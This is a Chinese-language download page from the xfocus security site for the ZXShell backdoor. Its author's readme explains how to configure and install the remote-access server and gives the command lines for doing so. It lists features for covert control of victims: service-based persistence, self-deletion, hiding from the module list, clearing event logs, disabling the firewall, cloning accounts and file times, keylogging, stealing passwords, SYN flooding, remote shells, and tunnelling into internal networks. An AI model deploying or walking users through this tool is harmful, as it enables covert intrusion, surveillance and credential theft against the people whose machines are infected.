xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加工具Xcon English Version

zxshell3.rar


提交时间:2007-06-25 更新时间:2008-05-07
提交用户:lzx
工具分类:后门程序
运行平台:Windows
工具大小:665589 Bytes
文件MD5 :18c836c5014298352aa336d5f2505bb5
工具来源:local

├─Controller.exe     控制端,用来操控上线的服务端
├─ctrldll.dll        Controller.exe的模块,主要负责远程桌面时拦截本地系统一些热键。
├─qqwry.dat          ip到地理位置的数据库,可以自己下载更新的版本代替它
┝━srv
│  ├─myip.txt       放在http服务器配合上线通知的用的,如果直接通过域名解析则无需用到此文件
│  ├─ZXCFG.exe      配置ZXShell.exe的默认安装参数
│  ├─zxplug.rar     ZXPlug插件功能, 如何添加自定义命令的一个例子
│  └─ZXShell.exe    服务端,console版本,有几个参数,可以在cmd 下通过 -help 参数获得详细信息
└─必读.txt

前言:

首先这个软件具有明显的后门性质,我一直没想发布它,因为从后门的角度看待这个软件的话它是落后的,
特别是相比当今横行的rootkit,及面对主动防御的拦截等,
但是从功能方面,一些功能对我来说是一个突破,如“远程桌面监控”等, 这就是我把它公布出来的原因吧~~~~~~

程序适应平台:2000/xp/2003/vista

工作方式还是svchost启动,程序会自动选择可安装服务,其他一些细节大家慢慢会发现。

(0) 警告

作者编写本软件只是为了学习目的。用户切勿将本软件用于不法之途,凡是使用本软件造成的一切后果作者概不负责!
一旦使用本软件即视为同意上述申明.
                               2006.11.23    LZX


(1)控制端

界面主要分为上下两部分,上面的是用来显示在线的服务端,
而下面的部分类似一个cmd窗口,用来发送命令和显示服务端的返回信息,发送命令前必须选择发送的对象(即在线的服务端),可以多选,
对在线的计算机发送?或help可获得其他服务端功能命令.参见(4)

另外主要功能

【文件管理】
可以远程管理目标计算机的文件,功能均在右键菜单中,如:上传、下载、移动、删除、重命名、执行、新建目录。
其中的上传、下载和删除均支持多选及整个目录的操作,文件传输均可断点传续(下载时保存到原来路径即可,上传也是),上传文件时还可以用鼠标从本机拖放一个或多个文件到窗口,但是从里面拖不出来:(

【远程桌面】
可以监控远程计算机桌面,屏幕传输速度可以媲美vnc、radmin等(同样无mirror driver情况下),
并且在服务端作为系统服务运行的环境下,解决了一些特殊环境下无法捕捉桌面的问题:如,xp下使用fast user switching进行多用户登录的情况,以及vista下的session 0隔离。

如果还出现某些主机无法捕获桌面的情况估计就是远程主机的物理控制台已经有用户登录且其终端服务存在mstsc以 /console模式登录的连接,
这个时候原物理console(session 0)被附加到终端服务上,而此时的(虚拟)物理console(session X)是重新开启的一个winlogon桌面,这种情况可以通过termsvc命令先将session 0的会话及虚拟console会话logoff掉.

本功能参数设置就四个菜单,操作简单,
注意显示效果中的拉伸->模糊效果在拉伸模式下显示效果比较好,但是比较吃CPU,

其中“选项中 捕捉层”的意思是捕捉类似金山词霸的翻译时的那种框,但远程鼠标会出现闪烁现象。
“压缩”中一般选默认,级别高压缩率越好,但会吃多点CPU时间。

而“直接启动Explorer”则是在未登录的情况下直接开启桌面.就好像以SYSTEM用户登录似的,
第一次使用会等比较久才出现system用户的桌面。因为system用户还没登录过,系统要初始化很多东西吧~(断开连接后会自动关闭该桌面的)

【视屏监视】

监视远程摄像头。只是有时好玩....


【端口映射】
该功能可将远程计算机的内网环境的一个端口映射到你本机的一个端口,
通过访问本机的端口即相当于访问远程计算机内网的那个端口,
比如:

例1:
如果上线的计算机是内网的,即隔着网关,你想连接他的终端服务3389端口怎么办?
选中该在线主机后点击"端口映射"后,
你填写127.0.0.1(即表示该计算机本机)、3389端口,
本机端口选一个可用的端口就行。比如 4489
然后打开远程桌面连接程序,输入本地IP:127.0.0.2:4489

例2:
某上线的计算机其内网段有个IP(192.168.1.7)开了http代理端口(8080),你想通过那边内网的那部计算机代理出去访问某些网站怎么办?
点击"端口映射"后,
你填写192.168.1.7,8080端口,本机端口比如8090,
当通过你本机的8090端口作为代理的数据最终是通过远程计算机那边的代理服务器出去的.

主要都是TCP端口的映射, 但其中特别为映射socks5代理后的UDP请求做了处理,socks5的UDP也没问题.

【命令行】
获得一个远程计算机的cmd.exe终端,即命令列表中的GetCMD命令,默认的绑定cmd.exe,
其他文件名需要手动发送命令[getcmd 参数],参数就是要绑定的文件名,例: getcmd mycmd.exe
退出直接关闭窗口即可~~~



提示:(1)按窗口右上角的[X]是将程序缩小到系统盘而非退出,要关闭程序请按[退出]按钮

(2)配置器(ZXCFG.exe)


路径:指定zxshell.exe的完整路径,可以直接鼠标拖动zxshell.exe到面板即可

端口:这里设的端口 就是 以后[控制端 Controller.exe]启动时要监听的端口(参数设置里的 服务端口),

域名:zxshell.exe就靠这个域名找到运行 [控制端 Controller.exe]的计算机IP,然后连接该IP上你指定的那个端口
      例如:xxx.xxx.net,那么域名一当解析成功就试图连接过去,
            这里可以填多个域名以防止某些域名提供商突然停止服务了,格式为|号隔开,
            xxx.aaa.net|xxx.bbb.com|xxx.ccc.com
            也可以指定为http://xxx.xxx.com/myip.txt,或ftp://x.x.x.x/myip.txt,那么域名信息和端口要从下载下来的myip.txt里读取后再连接过去
          
提示:当服务端解析到的IP是127.0.0.1时是不采取行动的

验证密码:该密码是用在连接控制端程序时验证用的,如果与控制端程序设置的密码不一致则拒绝上线。


(3)ZXShell.exe
E:\>ZXShell.exe -help
Usage:
[-help] [-IP] <URL> [-Port] <port> [-FileName] <dllpath> [-test] [-del]
-help      显示本消息
<URL>      域名
<port>     控制端端口
<dllpath>  指定DLL释放的完整路径,默认为system32里,名字为 [本文件名.dll]
-test      不安装,仅仅测试配置信息的正确性
-del       安装成功后自动删除本EXE文件(默认)
-nondel    取消自动删除的配置
Example:
    zxshell.exe (没参数则直接用已经配置的信息进行安装)
    zxshell.exe -test (测试本程序已有的配置能否工作)
    zxshell.exe -ip xx.vicp.net -port 1234 -filename c:\x.dll -test (测试指定的信息能否工作)
    zxshell.exe -ip xx.vicp.net -port 1234 -filename c:\foxy.dll (用指定的信息进行安装)
    zxshell.exe -ip http://xx.xx.xx/myip.txt

加上-test参数后只是释放个dll后并调用上线函数,是绿色的。
所以你可以在本机测试先体验一下:
首先开启controller, 参数里设置个端口比如2008,然后按启动。
接着cmd里面执行
zxshell.exe -ip 127.0.0.1 -port 2008 -filename c:\x.dll -test
这样自己就上线了,体验完后再cmd里ctrl+c结束zxshell.exe,
del c:\x.dll 删除
================
注意:
ZXShell.exe本身也只是一个配置器(配置上线验证密码只能用ZXCFG.exe了),就是配置生成的dll文件。配置的信息根据ZXShell.exe运行的参数而定。在成功释放并安装dll后ZXShell.exe可根据参数决定是否删除自身。
而ZXCFG.exe是配置ZXShell.exe的默认安装参数,即通常直接双击后就安装的参数.
================
关于dll的一些信息:
由ZXShell.exe正常释放出来的dll是可以独立进行安装的, 以下是几个导出函数原型:
BOOL WINAPI Install();//安装,程序自己会寻找基于netsvc可用的服务名进行安装
BOOL WINAPI UnInstall();//卸装,只能由dll的loader内部调用才有效
DWORD WINAPI ShellMainThread(LPVOID Reserved);//主要函数,负责上线通知.
BOOL WINAPI ShellMain();//在进程模块列表中隐藏自己后便调用ShellMainThread.

你可以用rundll32来安装,比如:
rundll32 filename.dll,Install

你也可以自行编写loader, 在你的程序里调用ShellMain()或ShellMainThread(NULL);
================


(4) 基于命令形式的 服务端功能

SERVER-LZX>?

"==>" 符号表示该指令有一个或多个参数.
    输入该命令后可以更多的命令帮助信息.
命令列表:

CA                        ==>克隆系统账号
CleanEvent                -->清除系统日记
CloseFW                   -->暂时关闭windows自带防火墙
End                       -->结束本程序
Execute                   ==>运行一个程序
FileTime                  ==>克隆一个文件的时间信息
FindPass                  -->查找登陆账号的密码            x
FindDialPass              -->列出所有拨号的账号和密码      x
Help | ?                  -->显示本信息
KeyLog                    ==>捕捉或记录远程计算机的按键信息x
LoadDll                   ==>加载一个DLL或插入到指定的进程
PortScan                  ==>端口扫描
Ps                        ==>进程管理
RunAs                     ==>以其他进程或用户的身份运行程序
SC                        ==>服务管理
ShareShell                ==>共享一个Shell给别人.
ShutDown                  ==>注销 || 重启 || 关闭 系统
Sysinfo                   -->查看系统详细信息
SYNFlood                  -->SYN 攻击                      x
TermSvc                   ==>配置终端服务  
TransFile                 ==>从指定网址下载文件或上传文件到指定FTP服务器
Uninstall                 -->卸装
User                      ==>系统帐户管理
ZXARPS                    ==>ZXARPS                        x
ZXFtpServer               ==>FTP 服务器                    x
ZXNC                      ==>NC
ZXHttpProxy               ==>HTTP 代理服务器
ZXHttpServer              ==>HTTP 服务器
ZXPlug                    ==>插件功能, 可添加自定义命令
ZXSockProxy               ==>Socks 4 & 5 代理
命令成功完成.

SERVER-LZX>

标志 x 的命令可能是该功能多余、不实用或其他原因我删减掉了.


(5) 特别鸣谢

感谢 tinyke, lhc, 淡淡的蓝 等人的测试

注:本文件为网友上传,XFOCUS 未对其进行安全检查。XFOCUS 不对下载、查看、执行其该文件及其包含内容所可能导致的后果做任何暗示和保证。

>> 下载 <<